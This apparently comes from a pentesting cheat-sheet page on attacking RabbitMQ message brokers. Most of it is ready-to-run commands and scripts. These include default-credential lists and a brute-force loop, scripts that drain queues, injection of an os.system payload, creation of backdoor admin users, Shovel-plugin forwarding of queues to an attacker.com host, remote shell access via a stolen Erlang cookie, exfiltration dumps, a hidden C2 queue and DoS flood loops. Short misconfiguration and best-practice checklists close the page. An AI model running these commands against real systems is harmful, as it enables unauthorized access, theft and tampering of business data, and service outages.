Skip to main content

RabbitMQ

RabbitMQ is an open-source message broker software that implements the Advanced Message Queuing Protocol (AMQP). It facilitates communication between distributed applications by routing and queuing messages. RabbitMQ is widely used in microservices architectures and can expose sensitive data if misconfigured.

Connect​

Using Web Management Interface​

# Access management UI
http://target.com:15672
https://target.com:15672

# Default credentials
guest:guest (only works on localhost by default)

# Login with credentials
Username: admin
Password: password

Using rabbitmqadmin CLI​

# Install rabbitmqadmin
wget http://target.com:15672/cli/rabbitmqadmin
chmod +x rabbitmqadmin

# List queues
./rabbitmqadmin -H target.com -u admin -p password list queues

# List exchanges
./rabbitmqadmin -H target.com -u admin -p password list exchanges

# List bindings
./rabbitmqadmin -H target.com -u admin -p password list bindings

# Get messages
./rabbitmqadmin -H target.com -u admin -p password get queue=queue_name

Using Python (pika library)​

import pika

# Connect to RabbitMQ
credentials = pika.PlainCredentials('admin', 'password')
parameters = pika.ConnectionParameters(
'target.com',
5672,
'/',
credentials
)
connection = pika.BlockingConnection(parameters)
channel = connection.channel()

# Declare queue
channel.queue_declare(queue='test')

# Publish message
channel.basic_publish(exchange='', routing_key='test', body='Hello')

# Consume message
method, properties, body = channel.basic_get(queue='test')
print(body)

connection.close()

Recon​

Service Detection with Nmap​

Use Nmap to detect RabbitMQ services and identify server capabilities.

nmap -p 5672,15672,25672 target.com

Connect to RabbitMQ services to gather version and service information.

# Management API
curl http://target.com:15672/api/

# Get cluster name
curl -u guest:guest http://target.com:15672/api/cluster-name

# Get overview
curl -u guest:guest http://target.com:15672/api/overview

# Check if authentication is required
curl http://target.com:15672/api/whoami

Version Detection​

Extract RabbitMQ version information from various sources.

# Get version from management API
curl -u admin:password http://target.com:15672/api/overview | jq .rabbitmq_version

# From login page
curl -s http://target.com:15672/ | grep -i "rabbitmq"

# From error pages
curl http://target.com:15672/nonexistent

Enumeration​

User Enumeration​

Discover RabbitMQ users and their permissions.

# List users (requires admin)
curl -u admin:password http://target.com:15672/api/users

# Get current user
curl -u admin:password http://target.com:15672/api/whoami

# User permissions
curl -u admin:password http://target.com:15672/api/users/username/permissions

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password list users

Queue Enumeration​

Explore RabbitMQ queues and their contents.

# List all queues
curl -u admin:password http://target.com:15672/api/queues

# Queue details
curl -u admin:password http://target.com:15672/api/queues/%2F/queue_name

# Messages in queue
curl -u admin:password http://target.com:15672/api/queues/%2F/queue_name/get \
-X POST -d '{"count":10,"ackmode":"ack_requeue_false","encoding":"auto"}'

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password list queues \
name messages consumers

Exchange Enumeration​

Discover RabbitMQ exchanges and their bindings.

# List exchanges
curl -u admin:password http://target.com:15672/api/exchanges

# Exchange details
curl -u admin:password http://target.com:15672/api/exchanges/%2F/amq.direct

# Bindings
curl -u admin:password http://target.com:15672/api/bindings

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password list exchanges

Virtual Host Enumeration​

Discover RabbitMQ virtual hosts and their configurations.

# List vhosts
curl -u admin:password http://target.com:15672/api/vhosts

# Vhost permissions
curl -u admin:password http://target.com:15672/api/vhosts/%2F/permissions

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password list vhosts

Connection and Channel Info​

Monitor active connections and channels.

# Active connections
curl -u admin:password http://target.com:15672/api/connections

# Active channels
curl -u admin:password http://target.com:15672/api/channels

# Consumers
curl -u admin:password http://target.com:15672/api/consumers

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password list connections
./rabbitmqadmin -H target.com -u admin -p password list channels

Attack Vectors​

Default Credentials​

RabbitMQ installations often retain default credentials for system accounts.

# Common default credentials
guest:guest # Only works on localhost by default
admin:admin
administrator:administrator
user:user
test:test

# Try with curl
curl -u guest:guest http://target.com:15672/api/overview

# Check if guest account is enabled
curl -u guest:guest http://target.com:15672/api/whoami

Brute Force Attack​

Brute forcing RabbitMQ management interface can reveal weak credentials.

Using Hydra​

hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-get /api/whoami:15672

Using Burp Suite Intruder​

# Capture request to /api/whoami
# Send to Intruder
# Set Authorization header as payload position

Using Custom Script​

for pass in $(cat passwords.txt); do
response=$(curl -s -u admin:$pass http://target.com:15672/api/whoami)
if [[ $response != *"401"* ]]; then
echo "[+] Found: admin:$pass"
break
fi
done

Message Interception​

Intercept and consume messages from RabbitMQ queues.

# List queues and get messages
curl -u admin:password http://target.com:15672/api/queues

# Get messages from specific queue
curl -u admin:password http://target.com:15672/api/queues/%2F/orders/get \
-X POST \
-H "Content-Type: application/json" \
-d '{"count":100,"ackmode":"ack_requeue_true","encoding":"auto"}'

# Consume all messages
python3 << 'EOF'
import pika
import json

credentials = pika.PlainCredentials('admin', 'password')
connection = pika.BlockingConnection(
pika.ConnectionParameters('target.com', 5672, '/', credentials)
)
channel = connection.channel()

def callback(ch, method, properties, body):
print(f"Message: {body}")
with open('messages.txt', 'a') as f:
f.write(body.decode() + '\n')

channel.basic_consume(queue='queue_name', on_message_callback=callback, auto_ack=True)
channel.start_consuming()
EOF

Message Injection​

Inject malicious messages into RabbitMQ queues.

# Publish malicious message to queue
curl -u admin:password http://target.com:15672/api/exchanges/%2F/amq.default/publish \
-X POST \
-H "Content-Type: application/json" \
-d '{
"properties":{},
"routing_key":"target_queue",
"payload":"malicious_payload",
"payload_encoding":"string"
}'

# Using Python
import pika

credentials = pika.PlainCredentials('admin', 'password')
connection = pika.BlockingConnection(
pika.ConnectionParameters('target.com', 5672, '/', credentials)
)
channel = connection.channel()

# Inject code execution payload (if consumer processes unsafely)
payload = '{"cmd":"__import__(\'os\').system(\'whoami\')"}'
channel.basic_publish(exchange='', routing_key='tasks', body=payload)

User Creation and Privilege Escalation​

Create new users and escalate privileges in RabbitMQ.

# Create new admin user
curl -u admin:password http://target.com:15672/api/users/backdoor \
-X PUT \
-H "Content-Type: application/json" \
-d '{"password":"P@ssw0rd123!","tags":"administrator"}'

# Set permissions
curl -u admin:password http://target.com:15672/api/permissions/%2F/backdoor \
-X PUT \
-H "Content-Type: application/json" \
-d '{"configure":".*","write":".*","read":".*"}'

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password declare user \
name=backdoor password=P@ssw0rd123! tags=administrator

Shovel Plugin Abuse​

Exploit RabbitMQ Shovel plugin for message forwarding.

# If shovel plugin is enabled, can forward messages
curl -u admin:password http://target.com:15672/api/parameters/shovel/%2F/my-shovel \
-X PUT \
-H "Content-Type: application/json" \
-d '{
"value": {
"src-uri": "amqp://target.com",
"src-queue": "source_queue",
"dest-uri": "amqp://attacker.com",
"dest-queue": "stolen_messages"
}
}'

# All messages from source_queue will be forwarded to attacker's RabbitMQ

Exploit Erlang cookie for direct node access.

# If Erlang cookie is known or found
# Cookie located at: ~/.erlang.cookie or /var/lib/rabbitmq/.erlang.cookie

# Connect to Erlang node
erl -name attacker@attacker-host -setcookie COOKIE -remsh rabbit@target-host

# Execute Erlang commands
# List users
rabbit_auth_backend_internal:list_users().

# Add user
rabbit_auth_backend_internal:add_user(<<"backdoor">>, <<"password">>).

# Set admin tag
rabbit_auth_backend_internal:set_tags(<<"backdoor">>, [administrator]).

Post-Exploitation​

Data Exfiltration​

Extract sensitive data from RabbitMQ systems.

# Export all queues and messages
for queue in $(curl -s -u admin:password http://target.com:15672/api/queues | jq -r '.[].name'); do
echo "[+] Dumping queue: $queue"
curl -u admin:password http://target.com:15672/api/queues/%2F/$queue/get \
-X POST \
-d '{"count":1000,"ackmode":"ack_requeue_true","encoding":"auto"}' \
> ${queue}_messages.json
done

# Export configuration
curl -u admin:password http://target.com:15672/api/definitions > rabbitmq_config.json

# Export users and permissions
curl -u admin:password http://target.com:15672/api/users > users.json
curl -u admin:password http://target.com:15672/api/permissions > permissions.json

Persistence​

Create persistent backdoor access to RabbitMQ systems.

# Create backdoor user with admin privileges
curl -u admin:password http://target.com:15672/api/users/system-monitor \
-X PUT \
-d '{"password":"ComplexP@ss123!","tags":"administrator"}'

# Set full permissions
curl -u admin:password http://target.com:15672/api/permissions/%2F/system-monitor \
-X PUT \
-d '{"configure":".*","write":".*","read":".*"}'

# Create hidden queue for C2
curl -u admin:password http://target.com:15672/api/queues/%2F/.system \
-X PUT \
-d '{"durable":true}'

Message Manipulation​

Modify messages in RabbitMQ queues for malicious purposes.

# Modify messages in queue (requires draining and republishing)
# Get messages
messages=$(curl -u admin:password http://target.com:15672/api/queues/%2F/orders/get \
-X POST -d '{"count":100,"ackmode":"ack_requeue_false","encoding":"auto"}')

# Modify and republish
echo "$messages" | jq -c '.[]' | while read msg; do
# Modify message (e.g., change prices, quantities, etc.)
modified=$(echo "$msg" | jq '.payload = "modified_payload"')

# Republish
curl -u admin:password http://target.com:15672/api/exchanges/%2F/amq.default/publish \
-X POST -d "$modified"
done

Denial of Service​

Perform denial of service attacks against RabbitMQ systems.

# Flood queue with messages
for i in {1..100000}; do
curl -u admin:password http://target.com:15672/api/exchanges/%2F/amq.default/publish \
-X POST \
-d "{\"routing_key\":\"target_queue\",\"payload\":\"DoS_$i\",\"payload_encoding\":\"string\"}"
done

# Create resource-intensive bindings
for i in {1..1000}; do
curl -u admin:password http://target.com:15672/api/bindings/%2F/e/exchange/q/queue \
-X POST -d "{\"routing_key\":\"key_$i\"}"
done

# Exhaust disk space with persistent messages
curl -u admin:password http://target.com:15672/api/queues/%2F/disk-filler \
-X PUT -d '{"durable":true}'

Common RabbitMQ API Endpoints

EndpointMethodDescriptionAuth Required
/api/overviewGETServer overviewYes
/api/whoamiGETCurrent user informationYes
/api/usersGETList usersAdmin
/api/queuesGETList queuesYes
/api/exchangesGETList exchangesYes
/api/bindingsGETList bindingsYes
/api/vhostsGETList virtual hostsYes
/api/connectionsGETList connectionsAdmin
/api/definitionsGETExport configurationAdmin

Usefull Tools

ToolDescriptionPrimary Use Case
rabbitmqadminOfficial CLI toolManagement and automation
pikaPython AMQP libraryProgrammatic access
curlHTTP clientAPI interaction
Burp SuiteWeb proxyAPI testing
NmapNetwork scannerService detection
MetasploitExploitation frameworkAutomated testing

Security Misconfigurations to Test​

  • ❌ Default credentials (guest:guest)
  • ❌ Weak admin passwords
  • ❌ Management interface exposed to internet
  • ❌ No TLS/SSL encryption
  • ❌ Guest account enabled remotely
  • ❌ Overly permissive user permissions
  • ❌ No authentication on AMQP port (5672)
  • ❌ Erlang cookie exposed or weak
  • ❌ Shovel/Federation plugins misconfigured
  • ❌ No rate limiting on message publishing
  • ❌ Sensitive data in messages
  • ❌ No message encryption
  • ❌ Verbose error messages
  • ❌ Outdated RabbitMQ version

Message Queue Security Best Practices​

  • ✅ Change default credentials
  • ✅ Use strong passwords for all users
  • ✅ Implement TLS/SSL encryption
  • ✅ Disable guest account for remote access
  • ✅ Use principle of least privilege
  • ✅ Enable authentication on all ports
  • ✅ Protect Erlang cookie
  • ✅ Regularly update RabbitMQ
  • ✅ Implement message encryption
  • ✅ Monitor and log access
  • ✅ Use virtual hosts for isolation
  • ✅ Implement rate limiting
  • ✅ Validate and sanitize message content
  • ✅ Restrict management interface access